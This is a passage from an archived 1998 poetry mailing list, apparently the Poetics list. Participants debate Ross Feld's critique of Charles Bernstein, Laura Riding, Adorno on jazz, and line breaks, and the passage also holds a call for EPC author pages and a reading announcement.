6). I don't know about number 3, but I actually laughed in a delighted way at 4 & 5. Number 6 has sort of left me pale though.

Risibly, GG

↑ Index

393. **Michael Magee**
Re: Ross Feld on Bernstein
Tue 13 Oct 1998

According to Gabriel Gudding:
> ----------
> I actually found Feld pretty plucky. What Feld specifically says about
> Bernstein follows:
>
> 5). "It was the novelist Dawn Powell who in her journals once noted that
> the avant-garde are usually would-be academics who, without enough wind in
> their sails, usually end up as stuffed shirts...."
>
> I actually laughed in a delighted
> way at 4 & 5.
>
> Risibly, GG
>

This is cute but does it have any historical accuracy whatsoever? As regards the American avant-garde, was Stein or Williams or Olson or O'Hara or for that matter Rauschenberg, Pollock, Warhol, Cage, MacLow, a "would-be academic" - this just seems to me to be a lie that traditionalists like to tell themselves, for comfort's sake. -m.

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394. **KENT JOHNSON**
Sexual preference in non-discrimination policies
Tue 13 Oct 1998

A group of faculty members here at Highland Community College (in Freeport, Illinois) is interested in having our school add "sexual preference" to its non-discrimination statement and we wish to organize a campaign (it will take such to succeed in these conservative environs) toward that end.

It would be helpful for us to know the names of some colleges that have full and unqualified non-discrimination policies. Anyone out there have any experience with a similar campaign?

Posts to the list on this or backchannel would be appreciated. Thanks.

Kent

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395. **David Baratier**
Re: "Our" Laura (Riding) Jackson
Tue 13 Oct 1998

---

^How and where does Laura (R) J denounce poetry? Anyone have an exact quote?

Chelsea, issue 20/21 its a long quote, or see The Telling, Anthelone Press 1972 also throughout Chelsea 35 such as

"When I put away my implements of poetry, I felt for the first time the full difficulty of the linguisitic task of truth. The difference between words as real words, words of a real language, and the imitation-words that crowd the mind I saw to be a far greater one than it had appearedto be under the auspices of my faith in poetry as capable of embodying the very spirit of language." (p69)

I have not seen the article referred to, but I would assume Perloff's blows to L(R)J's "search for a one on one correspondance" are about her poetry. I can't imagine how these blows would be any harsher than the shortcomings L(R)J wrote about her own poems and fallacy of poetry in the prose articles and books which followed her renunciation of poetry. The lie of poetry is to cheat the reader as little as possible for the truth which is gained through the use of illusion to create a non-existent stability referrent which points towards the illusion presenting the lie in truth's guise. A well intentioned wolf in sheep's clothing still is.

Be well

David Baratier

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396. **Gary Sullivan**
Re: Laura Riding
Tue 13 Oct 1998

> *In response to Chris: quite true, I did write a pretty negative piece on LR for PARNASSUS; the response on the List shows me that this is not*

> *a mag people on this list read, which may be just as well given the Ross Feld piece and some other nasties in this issue.*

Such as your piece on Laura Riding?

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397. Loss Pequen~o Glazier

EPC Author Page Call, October 1998

Tue 13 Oct 1998

This is a REVISED current (October, 1998) version of the EPC Author Page Call for contributions:
========== We are asking people to consider contributing to the EPC author page development initiative. We feel there are certain key authors who should have a page at the EPC. Since you may also be working on/reading some of these authors, helping to create their page might be a simple matter, and might be a natural tie-in to ongoing research and/or writing projects. What is an author page? Our basic aim is to create a place where links to resources in various web locations by and about the author might be gathered. (Additionally, if the author would agree to notify me of future web publications of their work, that would also be helpful.) In addition, in an EPC author page, we often seek to make available some new-to-the-web textual and/or visual resources, items specific to the EPC. But this is not necessarily required. The basic components of an EPC author page are: 1. a photo of the author. 2. a cv/list of publications/bibliography and brief bio. (If you are able to scan book covers for the bibliography or works pages, that would be good.) 3. the above-mentioned textual work (and the author's agreement to use their work) i.e., one or more works by the author including if possible, poems or a poem sequence, a prose work/essay, other various genres such as interviews, manifestoes, etc., other statements. Keep in mind that some of these items can also be reprints of out-of-print or small circulation works. Excerpts from forthcoming books are quite desirable since it can often lead to increased sales. Finally, any visual works by the author can add tremendously to the page. significantly. 4. List of links of other works the author may already have on the Web or for work about the author. Be sure to search for the author name through a number of search engines. Also check likely sources (links to some related resources are provided at the top of the EPC author page list of authors) such as PMC, etc. 5. Works about the author. Some of these may result from the Web search in 4 above. In addition, you may wish to query the Poetics list for essays that can be included, contact others who write on the author for materials, or include a piece of your own critical work. It can be very valuable to have at least a couple of works about the author when this is possible. Please make sure you contact us before beginning

work on an author page as numerous pages are already in progress. Once you have created the EPC author page, files can be sent as attachments to e-mail (include a list of file names in e-mail message) or mailed on diskette. We can transfer the files via FTP by special arrangement. A template for the author's home page is available at http://writing.upenn.edu/epc/authors/template Name the main author page index.html and design the page so that files are reference with relative links and reside in a single directory. An EPC author page does not require *extensive* knowledge of HTML. Indeed, the core activity of such a page is to research, gather and compile materials related to a given author; often this allows you the opportunity to contact and work with someone in whose work you are interested. It is also a

valuable form of advocacy for writers who you believe should be read more widely.
The main purpose here is to develop a center where people might find out more about these authors. Help us with this collective effort to develop a body of content related to poetry that is available on the Web.
A list of suggested authors whose pages currently need to be created or developed follow. Have a look and let us know if you are interested or if you have suggestions.
For further details, please contact: Loss Glazier,
[redacted]
or Charles Bernstein ([redacted]) regarding this initiative.
==========
Rae Armantrout
Caroline Bergvall
Nicole Brossard
Tina Darragh
Lydia Davis
Deanna Ferguson
Fanny Howe
Susan Howe
Ann Lauterbach
Geraldine Monk
Wendy Mulford
Melanie Neilson
Lisa Roberston
Leslie Scalapino
Fiona Templeton
Rosmarie Waldrop
Diane Ward
Marjorie Welish

==========
Thanks.

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398. **Daniel Zimmerman**
Re: Sexual preference in non-discrimination policies
Tue 13 Oct 1998

KENT JOHNSON wrote:
Kent,

My college publishes the following Affirmative Action and Compliance Statement in its catalogue:

Middlesex County College is firmly committed to a policy of Equal Opportunity and Affirmative action. The College will implement this policy to assure that the educational programs, activities, services, benefits and employment opportunities offered by the College are available to all persona regardless of race, color, national or ethnic origin, ancestry, age, religion, sex, affectional or sexual orientation, marital statue, veteran status or disability in accordance with applicable State and Federal laws. Inquiries regarding compliance may be directed to the Affirmative Action Office, Middlesex County College, Academic Services Building, Edison, New Jersey, 08818-3050.

Address
Middlesex County College
2600 Woodbridge Avenue
P.O. Bx 3050
Edison, NJ 08818-3050

http://www,middlesex.cc.nj.us

-- Dan Zimmerman
Associate Prof. of English
Raritan Hall 234
MCC
http://idt.net/~daniel7

> *A group of faculty members here at Highland Community College (in Freeport, Illinois) is interested in having our school add "sexual preference" to its non-discrimination statement and we wish to organize a campaign (it will take such to succeed in these conservative environs) toward that end.*
>
> *It would be helpful for us to know the names of some colleges that have full and unqualified non-discrimination policies. Anyone out there have any experience with a similar campaign?*

> *Posts to the list on this or backchannel would be appreciated.*
> *Thanks.*
>
> *Kent*

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399. **Mark Prejsnar**
oaks & dull axes
Tue 13 Oct 1998

If this is what the inert mainstream is gonna throw at interesting poets to discredit 'em, i must say we needn't exacly cower in our foxholes. I remember more substantive and interesting taunts from 3rd grade.

Apparently pluck just ain't what it used to be....

mark

On Tue, 13 Oct 1998, Gabriel Gudding wrote:

> *earlier Duane Davis wrote:*
>
> *"In the same essay Feld beats up pretty hard on*
> *Rothenberg's Poems For The Millennium but saves his roundhouse punches for*
> *Bernstein's A Poetics. Reading it over rather quickly it appears to be the*
> *same old same old and I can't imagine any minds being changed on one side or*
> *the other...."*
> *----------*
> *I actually found Feld pretty plucky. What Feld specifically says about*
> *Bernstein follows:*
>
> *1). "...Charles Bernstein, a sort of Clement Greenberg of the Language*
> *poets..."*
>
> *2). "Bernstein is well-informed, jargony, willful, and impossibly*
> *self-important."*
>
> *3). "(Reading him is like having Max Beerbohm's Enoch Soames rematerialize*
> *across the years.)"*
>
> *4). "His essayistic style can be eerily like that of a corporate annual*
> *report's...."*
>
> *5). "It was the novelist Dawn Powell who in her journals once noted that*
> *the avant-garde are usually would-be academics who, without enough wind in*
> *their sails, usually end up as stuffed shirts...."*
>
> *6). I don't know about number 3, but I actually laughed in a delighted*

> *way at 4 & 5. Number 6 has sort of left me pale though.*
>
> *Risibly, GG*

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400. **henry gould**
Re: line breaks
Tue 13 Oct 1998

Is it possible that "neutral music" is simply the sound of language per se: the result of the processes in which we break down the range of human sounds into components (syllables) and then string them out in words and phrases? - Henry G.

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401. **Peter Balestrieri**
textuality on a t-shirt/the quotidian
Tue 13 Oct 1998

Nada Gordon wrote:
Date: Mon, 12 Oct 1998 21:17:29 +0900
From: Nada Gordon <[redacted]>
Subject: Re: textuality on a t-shirt

My friend bought a T-shirt in L.A. which reads
Shoot the quotidian with the pistol of language
Did someone notable say that?
Nada

I don't know who said it but they should be ashamed, threatening the quotidian like that. What did the quotidian ever do to them? Best, PB

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402. **Mark Weiss**
Re: line breaks
Tue 13 Oct 1998

I don't think that's what Doug's talking about. If I read him rightly, it's like when I read one of my poems to an audience or any poem that I've read before in private or also aloud to others the text on the page acts as score, and I'm very clear as to what it says the music is and have this firmly in mind, even when my performance of it varys from strict reproduction. I react to, dance with, bounce off of, the score. The poem on the page is the beat, say, but the

rhythm, which varies, is the reading. This is precisely what happens in the performance of music, what makes it so exciting, why I go to many performances and have several recordings of some pieces.

Another way to put this: the poem on the page doesn't, can't, notate the full range of possible soundings because written language as notation has its limitations. What the poem does is circumscribe those possibles--define a set of possibilities more limited than "the sound of language per se." That still leaves a lot to the choice of the moment.

At 12:56 PM 10/13/98 EDT, you wrote:
>Is it possible that "neutral music" is simply the sound of language per se:
>the result of the processes in which we break down the range of human sounds
>into components (syllables) and then string them out in words and phrases?
>- Henry G.
>
>

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403. **henry g**
Re: line breaks
Tue 13 Oct 1998

On Tue, 13 Oct 1998 10:23:13 -0700 Mark Weiss said:
>
>Another way to put this: the poem on the page doesn't, can't, notate the
>full range of possible soundings because written language as notation has
>its limitations. What the poem does is circumscribe those possibles--define
>a set of possibilities more limited than "the sound of language per se."
>That still leaves a lot to the choice of the moment.

But isn't that what writing is. Doesn't writing notate the "ground bass" of what language is : a codification of sound. That's what I meant by the "sound of language per se". So when Doug O. hears the "neutral music" of the score he is hearing the "code" itself beneath the variations of performance. - HG

> *At 12:56 PM 10/13/98 EDT, you wrote:*
> *Is it possible that "neutral music" is simply the sound of language per se:*
> *the result of the processes in which we break down the range of human sounds*
> *into components (syllables) and then string them out in words and phrases?*
> *- Henry G.*

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404. **David Zauhar**
Re: Monks Pond
Tue 13 Oct 1998

On Sun, 11 Oct 1998, Gabriel Gudding wrote:
> Anyone out there know much about Th. Merton's little magazine, _Monks
> Pond_, which ran 4 issues during 1968, the final of which Merton himself
> did not live to read?
>
> I just found an incredible 9x12 facsimile edition of all four issues in
> the commons here in Ithaca. Cannot believe the eclecticism of these issues.
>
> Anselm Hollo, Paul Metcalf, Zukofsky, Jonathan Williams, Simon Perchik,
> Kerouac, Russell Edson, Merton hisself, Simic, even Mark Van Doren, Wendell
> Berry, Czeslaw Milosz. This is great! (Few women, though: Lorine
> Niedecker, Margaret Randall, Lindy Hough, Nancy-Lou Patterson, Dorothy
> Beck, Gail Waechter, Sister M. Therese).
>
> Had anyone seen of it, heard of it, is it famous, infamous, unknown?

Even while living in a hermitage, Merton ran with a fairly diverse crowd of poets, as the contributors indicate (not to mention his letters -- I read his letters w/ Milosz not long ago, and while there's not as much about poetry in there as one might expect, they're still interesting). I've seen MP in several good libraries, plus, since my wife teaches at a decent benedictine college, I've even read a couple of the non-facsimiles. But it was an incredibly diverse magazine, while it lasted. Who knows what it would have looked like had Merton not died when he did, had he been able to continue it into the 70s at least.

David Zauhar
University of Illinois at Chicago

... not being born is
the only tragedy
that we can imagine
but need never fear

--Alden Nowlan

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405. **MAYHEW**
Re: Adorno & Jazz
Tue 13 Oct 1998

You are making it worse, not better, for Adorno, Herb. He KNEW that harmonic music was evil? That atonal music was the salvation of mankind? Give me a break. If what you say is true, then he was simply a musical fascist. I'd like to give him more credit than that...

Jonathan

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406. **Herb Levy**
Re: Adorno & Jazz
Tue 13 Oct 1998

Michael Magee wrote:

> *Thanks for this Herb. It sets the terms a lot more clearly than my piqued responses. I'd simply add two things: 1) Ornette Coleman has a very sophisticated approach to improvised music which involves "a functionally aharmonic method of organizing pitches." You're right to say that Adorno wouldn't have given a shit but plenty of Schoenberg-inspired classical musicians and composers *did* give a shit and that suggests that Adorno's appreciation wasn't a mere impossibility.*

Few people were as hardline as Adorno on the issue of serial music, but I see your point. (Though I hear Coleman's Harmolodics more as a powerful & beautiful, re-interpretation of harmony as a system rather than a denial of it.)

> *2) To say "Rhythmic complexity*
> *didn't interest Adorno" is to suugest that we can remain somehow in the world of Adorno's purely aesthetic predilections, which of course we can't; certainly Adorno would never have let us get away w/ such claims to purely aesthetic, which is to say apolitical, motives. And while he wasn't a bigot per se, can such a west-centric philosophy/aesthetic completely avoid the charge of bigotry? I think that's worth considering.*

I used this phrase to reinforce Adorno's notion of the primacy of twelve-tone music as a progressive force both politically & aesthetically (I can't see Adorno separating the two either).

I'd use the term elitist, rather than bigot, but maybe that's just me.

Bests,

Herb

Herb Levy
[redacted]

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407. **Herb Levy**
Re: Adorno & Jazz
Tue 13 Oct 1998

Jonathan Mayhew writes:

> *Herb Levy's post on this issue is thoughtful and should be commended for the light it sheds on this issue; I do wonder about phrases like "below his radar" and "funny noises" and "his primary art form." I guess if it's put into terms of "what's interesting to him" you have to leave the issue alone. HE's not into rhythmic complexity, improvisation, etc...*
>
> *But the issue, for me, is not that he didn't find jazz progressive or compelling (who cares if he did?) but the high-handed arrogance of his critique, its aprioritism and dogmatism. I might have friends who disagree with me, but I try to avoid condemning things I don't understand and expect the same of my friends if they are to remain such.*

I don't care if you agree with him or not (& I don't), but I think to reduce the problems with Adorno's complex, nearly apocalyptic vision of how to fix what's wrong with contemporary culture to whether he's being considerate of the opinions of others is, at best, an odd reading of Adorno, given his overall project.

Adorno was was an elitist, he was a fanatic, & he was trying to save the world. Taste is exactly not the issue for him, he didn't care what music you liked. Adorno knew that ANY music rooted in harmonic structures was evil (regardless of any potentially mitigating social, political, economic, or aesthetic issues about the music), just another step along the path of the repressive culture industry to totalitarianism. He'd seen it happen in Europe once, he desperately wanted to stop it from happening ever again.

It's not that he wasn't distinguishing clearly enough between sappy, mechanical pop music, and beautiful, self-expressive jazz. The problem for him was that they were functionally the same - another nail in civilization's coffin. In his later essay on jazz, he calls bebop something like "good bad music" - he knew it was "better" than earlier jazz, but he knew equally well that it hadn't transcended its reactionary stylistic flaws, it was still harmonically organized, functionally tonal music. & no matter how big or "advanced" the chords were, no matter how complex the music over the modal drone was, no matter how dissonant it was, it still wasn't twelve-tone music and so was just as bad, in an absolute moral sense, as well as a political & aesthetic sense, as the Andrews Sisters.

From his point of view, Adorno wasn't talking about something he didn't understand. He KNEW the progressive value of serial music & he KNEW the

totalitarian nature of music with roots in traditional harmonic structures. He knew that anyone buying into the wrong kind of art, the wrong kind of culture, became a pawn of the regressive bourgeois culture industry. He didn't care about insulting your taste, from his point of view what you think of as "your" taste is more often than not simply a symptom of a repressive political/economic/social structure that must be stopped at all costs. He has no room for cultural relativism or being a nice guy - he's trying to save the world through atonal music. Basing "your" taste on what you like rather than what will save the world is just one more small step toward cultural suicide.

Look, there's no denying that Adorno was at best unenlightened about all this, but he was trained as a composer of classical music in Europe before WWII. Folks with intense classical training often live in a musical bubble. I've heard some classically trained musicians complain about classical Indian musicians not playing in tune, when that music is based on probably the most complex system of tuning in the world. Many folks with strict classical training (even to this day) have little or no understanding about how jazz works. (Which is why almost every "classical" work "inspired" by "jazz" is musically clueless, but perhaps that's a secondary issue here). Combining this deep-rooted attitude with a tendency toward Stalinism & you get a complex picture that's not so pretty.

Is Adorno music's Ezra Pound? I'm not sure I'd go that far, but Adorno had more than a few crazy ideas.

As to books from which to get at Adorno's ideas on music, I found Ben Watson's Negative Dialectic of Poodle Play to be deeply flawed by the author's fawning refusal to consider that everything Frank Zappa did/said/thought might not be absolutely brilliant.

Probably more difficult for folks with little music background, but more focused on Adorno's concepts (& far less gonzo), are Robert Witkin's Adorno on Music (Routledge) & M Paddison's Adorno's Aesthetic of Music (Cambridge U Press).

For other pop culture related uses of Frankfurt aesthetics, Dick Hebdige's book on punk, Subculture: the Meaning of Style, is absolutely great & Simon Frith (Fred Frith's brother) has a book that's very good, but I'll need to check the reference on that. But these two draw little from Adorno, & more from the other Frankfurters.

Bests,

Herb

Herb Levy

[redacted]

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408. **Marjorie Perloff**
Re: Laura Riding
Tue 13 Oct 1998

In response to Chris: quite true, I did write a pretty negative piece on LR for PARNASSUS; the response on the List shows me that this is not a mag people on this list read, which may be just as well given the Ross Feld piece and some other nasties in this issue. I took the opportunity because Herb Leibowitz, the editor, asked me to think about Riding and I never really had. I spent a lot of time on the work and must say I am totally mystified as to what anyone sees in her. I hate feeling that way, given that some of my very favorite poets and critics--including Charles Bernstein, Jerry McGann, and Susan Schultz admire LR but they haven't (at least in print) made me see it. I can't stand her abstract stilted language; more important: I have a really hard time with her ideas and her poetics! I can see that she is a phenomenon, but....

So to me the whole idea of a Riding conference sounds bizarre--but it may be my blindness. Charles B makes a valiant case for her in the Intro to her RATIONAL MEANING.

xxx
Marjorie

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409. **Mark Weiss**
Re: line breaks
Tue 13 Oct 1998

I'm not sure that I get your drift--we may be like those ships at night. If you had said "the sound of the language of the poem as written" I would be sure that we agreed. The language of the poem is an idiosyncratic subset of the language as a whole, and its music, both notated and improvised, is a subset of the possible musics of the language.

At 01:27 PM 10/13/98 EDT, you wrote:
>On Tue, 13 Oct 1998 10:23:13 -0700 Mark Weiss said:
>>
>>Another way to put this: the poem on the page doesn't, can't, notate the
>>full range of possible soundings because written language as notation has
>>its limitations. What the poem does is circumscribe those possibles--define
>>a set of possibilities more limited than "the sound of language per se."
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>of what language is : a codification of sound. That's what I meant by
>the "sound of language per se". So when Doug O. hears the "neutral music"
>of the score he is hearing the "code" itself beneath the variations of
>performance.
>- HG
>
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>>At 12:56 PM 10/13/98 EDT, you wrote:
>>>Is it possible that "neutral music" is simply the sound of language per se:
>>>the result of the processes in which we break down the range of human sounds
>>>into components (syllables) and then string them out in words and phrases?
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>>>
>>>
>
>

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410. **Mark Weiss**
Re: Adorno & Jazz
Tue 13 Oct 1998

Try looking in context. Music and music criticism had been a _political_ battle-ground since Beethoven. Notable revolutionary warriors included Schumann, Wagner, Mahler and the serialist trio. Riots at concerts were not unusual, and there were pitched battles in the streets and the journals between adherents of different schools of musical thought. By Adorno's time romantic tonality was seen by leftist intellectuals as an anachronistic bourgeois comfort/validator and as such an impediment to revolution. This was not about taste, it was about the future of mankind. That the thinking is reductive is hardly surprising. Few of us take art that seriously any more.

At 12:31 PM 10/13/98 -0500, you wrote:
>You are making it worse, not better, for Adorno, Herb. He KNEW that
>harmonic music was evil? That atonal music was the salvation of mankind?
>Give me a break. If what you say is true, then he was simply a musical
>fascist. I'd like to give him more credit than that...
>
>
>Jonathan

>
>

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411. **Gabriel Gudding**
Re: Ross Feld on Bernstein
Tue 13 Oct 1998

On Tue, 13 Oct 1998, Michael Magee wrote:

> *98 11:56:09 am@>*
> *According to Gabriel Gudding:*
> *----------*
> *I actually found Feld pretty plucky. What Feld specifically says about Bernstein follows:*
>
> *5). "It was the novelist Dawn Powell who in her journals once noted that the avant-garde are usually would-be academics who, without enough wind in their sails, usually end up as stuffed shirts...."*
>
> *I actually laughed in a delighted way at 4 & 5.*
>
> *Risibly, GG*
>
> *This is cute but does it have any historical accuracy whatsoever?*

*). Yes, it is historically accurate: I laughed at precisely ten this morning.

^). I suppose you could say it's therefore "hysterically accurate."

%). What does it matter if it's historically accurate?

> *As regards the American avant-garde, was Stein or Williams or Olson or O'Hara or for that matter Rauschenberg, Pollock, Warhol, Cage, MacLow, a "would-be academic"*

$). Stein no. Williams no. Olson yes. O'Hara no. Mac Low is not a would-be anything: he's the real Mac Coy.

> *- this just seems to me to be a lie that > traditionalists like to tell themselves, for comfort's sake. -m.*

#). The word "traditionalist" is an epithet many use for comfort's sake.

GG

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412. Michael Magee
Re: Ross Feld on Bernstein
Tue 13 Oct 1998

According to Gabriel Gudding:
>
> On Tue, 13 Oct 1998, Michael Magee wrote:
> GG:
> > > 5). "It was the novelist Dawn Powell who in her journals once noted that
> > > the avant-garde are usually would-be academics who, without enough wind in
> > > their sails, usually end up as stuffed shirts...."
> MM:
> > This is cute but does it have any historical accuracy whatsoever? -m.
> GG:
> *). Yes, it is historically accurate: I laughed at precisely ten this
> morning.
>
> ^). I suppose you could say it's therefore "hysterically accurate."
>
> %). What does it matter if it's historically accurate?
>
>

All I'm asking is, is what this Dawn Powell person said about the avant-garde *true in any way* or is it just the fantasy of "real" academics and non-academics alike that the avant-garde is composed of "would-be academics." So, yeah, it sure as hell does matter whether it's historically accurate, though it might nonetheless make for a good morning chuckle I suppose. -m.

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413. Michael Magee
Re: Ross Feld on Bernstein
Tue 13 Oct 1998

> *- this just seems to me to be a lie that > traditionalists like to tell themselves, for comfort's sake. -m.*
>
> *#). The word "traditionalist" is an epithet many use for comfort's sake.*
>
> *GG*

Ach! I hate when I'm caught in such easily avoidable ironies, what a pain in the ass. Point well taken. -m.

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414. Gabriel Gudding
Re: Monks Pond
Tue 13 Oct 1998

David, he apparently only planned to run four issues and then just quit. "Just four collections. One brief magazine flash in the air and out, but four good collections." Quite an interesting guy. He said he might do six at most, but by the third he'd already stopped soliciting. Refused any big cash, used cheapest paper. Best, G

On Tue, 13 Oct 1998, David Zauhar wrote:

> *On Sun, 11 Oct 1998, Gabriel Gudding wrote:*
> *Anselm Hollo, Paul Metcalf, Zukofsky, Jonathan Williams, Simon Perchik, Kerouac, Russell Edson, Merton hisself, Simic, even Mark Van Doren, Wendell Berry, Czeslaw Milosz. This is great! (Few women, though: Lorine Niedecker, Margaret Randall, Lindy Hough, Nancy-Lou Patterson, Dorothy Beck, Gail Waechter, Sister M. Therese).*
>
> *But it was an incredibly diverse magazine, while it lasted. Who knows what it would have looked like had Merton not died when he did, had he been able to continue it into the 70s at least.*
>
> *David Zauhar*
> *University of Illinois at Chicago*

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415. Gary Sullivan
Spicer Stiffs Perloff in the Restaurant at the End of the Universe
Tue 13 Oct 1998

Hi, Stephen,

Again, thank you for your thoughts & readings. Okay, as far as

> *Actually, however, I wonder also what might happen in a reading of Spicer that deals with ocean and radio as sympathetic tropes (radio signal as that which is cast forth, like seaweed, from out of nowhere a la Cocteau). There seems a sense of ocean as primal static, a sort of undifferentiated semantic noise from which language (_Language_) is formed.*

in "Transformations," we get

... Those
Swans we saw in the garden coming out of
the water we hated them. "Out of place,"
you said in passing. Those swans and
I (a blink in context), all out of place
we hated you.

So, what's happening here? For one thing, a reversal takes place, the "we" in the beginning of this hanging-indent stanza isn't the same "we" by the end of it. The first we "hated them"--the swans--the second we includes the swans. The I becomes a pivot. And, at the word "passing," we do pass, from one "we" to the next. But, now, Stephen, how does what you say above work with this image of swans coming out of water & hatred attached to them. Some judgment against them. And, also, judgment on the part of the swans against the others. The first hatred because the swans are seen as "out of place." The second hatred (the swans' hatred) as consequence of being "all out of place." Except, of course, this is Spicer, and when we read "Those swans and/ I (a blink in context), all out of place/ we hated you" it's another one of these great Hericlitean hinge-phrases, where, depending on the kind of emphasis you put & where you put it, the whole meaning changes. So that we can include I and be separate from I. In other words, in the final "we hated you," "we" might be "I and the swans" or "I and the 'you' in the second sentence."

Okay, so, I'm not sure if this is what you mean when you say substratic, how the language crystalizes, and then, as you begin to really study it, breaks back down into formless liquid. But, we do get the swans coming out of the water (as far as an image in the poem), and then, more significantly, what happens as we read this thing, I mean, it's a great effect, and of course we end with "We/ Hated them." which is kinda funny since by this time "we" and "them" are everyone involved. And this comes right after the phrase "the last/ swan back in place." So, to be "in place," okay, what does that mean for Spicer? Or for his pronouns? Does it mean liquid? Formlessness? Pre-crystallization?

Gary

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416. Gabriel Gudding
Re: Ross Feld on Bernstein
Tue 13 Oct 1998

On Tue, 13 Oct 1998, Michael Magee opined:

> *^). I suppose you could say it's therefore "hysterically accurate."*
>
> *%). What does it matter if it's historically accurate?*

> *All I'm asking is, is what this Dawn Powell person said about the avant-garde *true in any way* or is it just the fantasy of "real" academics and non-academics alike that the avant-garde is composed of "would-be academics." So, yeah, it sure as hell does matter whether it's historically accurate, though it might nonetheless make for a good morning chuckle I suppose. -m.*

With the exception of Powell's "usually" I would say of course it's quite true -- it's both historical and hysterical. Seems to me the whole point of the "avant-garde" is that it's "would-be" everything: it's meant to be neither here nor there, while still in a very interesting "somewhere." The academy's been a refuge for many a duck-headed crow. I took FeldPowell to say that 'avant-garde academic' (1) can be oxymoronic and (2) can make a travesty of both the duck and the crow. You might get a guy writing "essays" stuffed with 80s jargon and slinging brackets and dashes like nunchucks. Give me a Vachel Lindsay with his buffo and his Lysol any day of the week. Give me a Arensberg with his up-dada's down-dada's. Give me again the Baroness, please, with her shellacked head and dainty hands. The same hands that clocked WCW.

Tell me if _this_ is historically accurate:

*: Didn't "avant-garde" -- once upon a tingle -- mean "a bit of fun"?

[[my pt with the immediate above is that it's too often too hard to have fun while being respectable.]]

GG

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417. henry gould
Re: Ross Feld on Bernstein
Tue 13 Oct 1998

On Tue, 13 Oct 1998 15:22:39 -0400 Gabriel Gudding said:
>
>*: Didn't "avant-garde" -- once upon a tingle -- mean "a bit of fun"?

someplace in P. Burger's "Theory of the Avant-Garde" he refers to a Breton piece of writing (manifEsto?) redefining art as a category of "fun".

Is it that avant-gardes are would-be academics or academics are would-be avant-gardes? This is an important question which should have been settled decades ago, and why it hasn't is also an important question, which, while we are on the subject, ALSO should have been settled - decades ago. Decades ago? Decades a go-go.

There's the avant-garde, and then there's the historical avant-garde. The historical avant-garde was the truly hysterical avant-garde, while the other avant-garde is truly an other-garde, that is, other than avant-. We are the other, as Rimbaud was, and avant for avant's sake = art for art's sake, which is retrogade for retrograde's sake, and therefore A does not = A, which is quite other, and therefore avant, if not historical.

Now to disrupt the traditionalist paradigm of the arts on behalf of a new and liberated society and personal lifestyle is one of the hallmarks of the Hallmark Avant-Garde, which is, of course, other than the traditionalist paradigm, which is to liberate oneself from Hallmarks of every kind by means of a traditional archasmic lifestyle. The archasmic lifestyle, first set in motion by Arthur Rimdude and brought to a complete stop by has half- brother Arthur Rimbaud, is in essence and by definition that which is unrepeatable in any form, a good Benjaminite definition of traditional art, which is, of course, the essence of the dada whatsit and the surrealist thingum. Down with bourgeois concrete! Down with bourgeois wood! Down with bourgeois plastic! Down with "bourgeois" - too hard to spell! Down with aristocracy! Down with money! Down with "down" - too easy to spell! Down, boy!

On the "other" hand, you can now purchase, through the good offices of the Univ. of Left Overbie Cash & Other Arts Disbursal Contingency Affiliate Associative Organization [U.L.O.C.O.A.D.C.A.A.O. for short], a complete BRECHT-OR-SET. The Brecht-or-set is a confabulated gameboard of software and soft-beans which allows the Reader-Manager to erect a stainless-aluminum 3-dimensional model of Correct People's Theater applicable at any 2-dimensional campus drama program - assembly instructions included! Blow-up models of Barrett Watten, Susan Howe & Charles Bernstein only $5.00 extra! [Feld not included in overseas shipping. backchannel for details.]

- Eric Blarnes, O.M.B. [officer of management and budget]

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418. **Mark Weiss**

Re: Ross Feld on Bernstein

Tue 13 Oct 1998

I don't know about respectable, but coherent would help.

At 03:22 PM 10/13/98 -0400, you wrote:
>On Tue, 13 Oct 1998, Michael Magee opined:
>
>> > ^). I suppose you could say it's therefore "hysterically accurate."
>> >
>> > %). What does it matter if it's historically accurate?

>> >
>> >
>>
>> All I'm asking is, is what this Dawn Powell person said about the
>> avant-garde *true in any way* or is it just the fantasy of "real"
>> academics and non-academics alike that the avant-garde is composed of
>> "would-be academics." So, yeah, it sure as hell does matter whether it's
>> historically accurate, though it might nonetheless make for a good morning
>> chuckle I suppose. -m.
>
>With the exception of Powell's "usually" I would say of course it's quite
>true -- it's both historical and hysterical. Seems to me the whole point
>of the "avant-garde" is that it's "would-be" everything: it's meant to be
>neither here nor there, while still in a very interesting "somewhere."
>The academy's been a refuge for many a duck-headed crow. I took
>FeldPowell to say that 'avant-garde academic' (1) can be oxymoronic and
>(2) can make a travesty of both the duck and the crow. You might get a guy
>writing "essays" stuffed with 80s jargon and slinging brackets and dashes
>like nunchucks. Give me a Vachel Lindsay with his buffo and his Lysol any
>day of the week. Give me a Arensberg with his up-dada's down-dada's.
>Give me again the Baroness, please, with her shellacked head and dainty
>hands. The same hands that clocked WCW.
>
>Tell me if _this_ is historically accurate:
>
>*: Didn't "avant-garde" -- once upon a tingle -- mean "a bit of fun"?
>
>[[my pt with the immediate above is that it's too often too hard to have
>fun while being respectable.]]
>
>GG
>
>

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419. Charles Alexander
Re: Lopez, Selby at SPT
Tue 13 Oct 1998

Just wanted to second the motion that people go to this. Just heard Tony Lopez read in Tucson two nights ago, and he was marvelous, despite the fact that with trans-atlantic, then trans-american, and finally cal-arizona travel, he basically

hadn't slept in three days. In addition to what is said here, for Tony Lopez, listen closely -- there's a fireworks in the verbal artistry which is amazing and holds everything together in a quite compelling manner. And, having hears Spencer read a couple of times, I have to say that I'd go again anytime I was within range. And I can only wish that my father had a Spencer Selby.

charles

> *Tony Lopez*
> *Spencer Selby*
>
> *Friday, October 16, 7:30 p.m.*
> *New College Theater*
> *777 Valencia Street*
> *$5*

>
>With False Memory and Negative Equity Tony Lopez's career, hitherto
>glimpsed in bits and pieces, comes into focus like a shift in the
>kaleidoscope or my binoculars. His writing makes a person nervous,
>painfully conscious of the falsities that simplify and abbreviate our
>lives. But he is a kind master, and provides plenty of pleasure along with
>the pain. Come on down and show Mr. Lopez a real good time at his first
>reading in San Francisco. Tony Lopez, born in 1950, has written Snapshots
>(1976), Abstract & Delicious (1982), A Theory of Surplus Labour (1990),
>Stress Management (1994) and Negative Equity (1995). His first US book was
>False Memory published by The Figures in 1996. Recent work appears in
many
>international magazines and in the anthologies Conductors of Chaos, (edited
>by Iain Sinclair, Picador, 1996) and The Poets Calendar for the Millennium
>(Sun & Moon, 1997). He teaches in England at the University of Plymouth.
>
>Spencer Selby lives in San Francisco. He's the author of five books of
>poetry, and two more forthcoming (The Big R, Angle Press, and Task, from
>Zasterle Press), and two of visual poetry, Stigma (Score, 1990, and
>Malleable Cast (Generator, 1995). He has moved through the experimental
>formalism of the 80s ("This is the voice of description speaking") into a
>new and more highly evolved and humanistic version of the "Spencerian
